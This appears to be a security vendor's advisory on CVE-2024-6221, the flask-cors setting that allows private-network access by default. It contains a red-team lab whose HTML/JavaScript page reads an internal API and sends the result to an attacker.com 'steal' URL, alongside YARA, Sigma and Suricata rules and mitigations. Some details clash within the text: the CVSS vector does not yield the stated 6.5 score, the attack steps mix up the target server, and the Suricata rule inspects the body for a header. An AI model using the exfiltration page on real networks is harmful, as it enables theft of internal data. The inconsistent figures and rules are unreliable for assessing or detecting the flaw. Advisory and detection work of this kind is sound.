CVE-2024-6221

Executive Summary

CVE-2024-6221 is a security vulnerability in the corydolphin/flask-cors Python library, version 4.0.1. The flaw causes the Access-Control-Allow-Private-Network CORS header to be set to true by default. This misconfiguration allows external websites to make cross-origin requests to private network resources (e.g., internal servers, routers, printers) from a victim's browser, bypassing standard same-origin policy protections. The vulnerability has a CVSS score of 6.5 (Medium) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for organizations with exposed internal services.

Supply Chain & Package Security

This vulnerability affects the flask-cors Python package (PyPI). Organizations using this library in their Flask applications should immediately review their dependency tree and assess exposure. Since the package is widely used for enabling CORS in Flask APIs, the supply chain risk is moderate. No malicious package versions have been reported, but the lack of a patch means users must implement manual mitigations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required for exploitation.
• Scope: Unchanged (S:U) – The vulnerable component and affected resource are the same.
• Confidentiality Impact: Low (C:L) – Limited information disclosure (private network resources).
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the potential for data exfiltration from private networks elevates the risk for enterprise environments.

Deep Dive & Mechanics

The vulnerability stems from the default configuration of the flask-cors library. When a Flask application uses flask-cors without explicitly setting the Access-Control-Allow-Private-Network header, version 4.0.1 defaults to true. This header, defined in the Private Network Access specification, controls whether external websites can make requests to private IP addresses (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) from a user's browser.

How it works:

1. A victim visits a malicious website.
2. The malicious site sends a cross-origin request (e.g., fetch, XMLHttpRequest) to a private IP address (e.g., http://192.168.1.1/admin).
3. Because the Access-Control-Allow-Private-Network: true header is present in the response from the vulnerable Flask server, the browser allows the request.
4. The attacker can read the response, potentially exfiltrating sensitive data from internal services.

Impact: Unauthorized access to internal network resources, including routers, printers, NAS devices, and internal APIs. This can lead to data breaches, lateral movement, and further network compromise.

Vulnerable vs. Patched Code

Vulnerable Code (flask-cors 4.0.1):

# In flask_cors/core.py
def get_cors_options(app, options):
    # ...
    options.setdefault('access_control_allow_private_network', True)
    # ...

Patched Code (Hypothetical fix):

# In flask_cors/core.py
def get_cors_options(app, options):
    # ...
    options.setdefault('access_control_allow_private_network', False)
    # ...

Explanation: The vulnerable code sets the private network access header to True by default. A patch would change the default to False, requiring explicit opt-in by the developer.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Setup:

1. Install vulnerable flask-cors: pip install flask-cors==4.0.1
2. Create a simple Flask app with CORS enabled:

from flask import Flask, jsonify
from flask_cors import CORS

app = Flask(__name__)
CORS(app)

@app.route('/api/secret')
def secret():
    return jsonify({"data": "sensitive_internal_info"})

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

3. Run the app on a private network (e.g., 192.168.1.100).

Exploitation Steps:

1. Host a malicious HTML page on an attacker-controlled server:

<!DOCTYPE html>
<html>
<body>
<script>
fetch('http://192.168.1.100:5000/api/secret')
  .then(response => response.text())
  .then(data => {
    // Exfiltrate data
    new Image().src = 'http://attacker.com/steal?data=' + encodeURIComponent(data);
  });
</script>
</body>
</html>

2. Lure a victim on the same private network to visit the malicious page.
3. The browser sends the request, and due to the vulnerable header, the response is readable.
4. Data is exfiltrated to the attacker's server.

Blue Team (Defense & Detection)

Detection:

• Monitor for HTTP requests to private IP addresses from external origins.
• Look for Access-Control-Allow-Private-Network: true in server responses.
• Use network segmentation to limit exposure of internal services.

Mitigation:

• Manually set the header to False in Flask app configuration:

CORS(app, resources={r"/api/*": {"origins": "*", "access_control_allow_private_network": False}})

• Implement strict CORS policies (whitelist origins).
• Use Web Application Firewalls (WAF) to block cross-origin requests to private IPs.

Indicators of Compromise (IOCs)

• Network: HTTP responses containing Access-Control-Allow-Private-Network: true
• Logs: Unusual cross-origin requests to private IP addresses (e.g., 10.x.x.x, 172.16-31.x.x, 192.168.x.x)
• File: Presence of flask-cors==4.0.1 in requirements.txt or Pipfile.lock
• Behavior: Browser requests with Origin header set to an external domain targeting internal IPs

Detection Engineering

YARA Rule

rule flask_cors_private_network_vuln {
    meta:
        description = "Detects flask-cors version 4.0.1 vulnerable to CVE-2024-6221"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "sha256:examplehash"
    strings:
        $version = "4.0.1"
        $private_network = "access_control_allow_private_network"
    condition:
        $version and $private_network
}

Sigma Rule

title: CVE-2024-6221 - Flask-CORS Private Network Access Misconfiguration
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP responses with Access-Control-Allow-Private-Network set to true
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: flask
detection:
    selection:
        response_header|contains: "Access-Control-Allow-Private-Network: true"
    condition: selection
falsepositives:
    - Legitimate use of private network access (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6221 - Flask-CORS Private Network Access Enabled"; flow:to_client; content:"Access-Control-Allow-Private-Network: true"; http_server_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Override the default: In your Flask app, explicitly set access_control_allow_private_network to False:

CORS(app, resources={r"/api/*": {"origins": "*", "access_control_allow_private_network": False}})

2. Update dependencies: Monitor for a patched version of flask-cors (e.g., 4.0.2 or higher) and update as soon as available.
3. Network segmentation: Ensure internal services are not accessible from the same network as users' browsers. Use separate VLANs or firewalls.

Long-term Fixes:

• Implement strict CORS policies with whitelisted origins.
• Use Content Security Policy (CSP) headers to restrict cross-origin requests.
• Conduct regular security audits of third-party libraries.

Workaround: If immediate patching is not possible, disable CORS entirely or use a reverse proxy to strip the vulnerable header.

Valters IT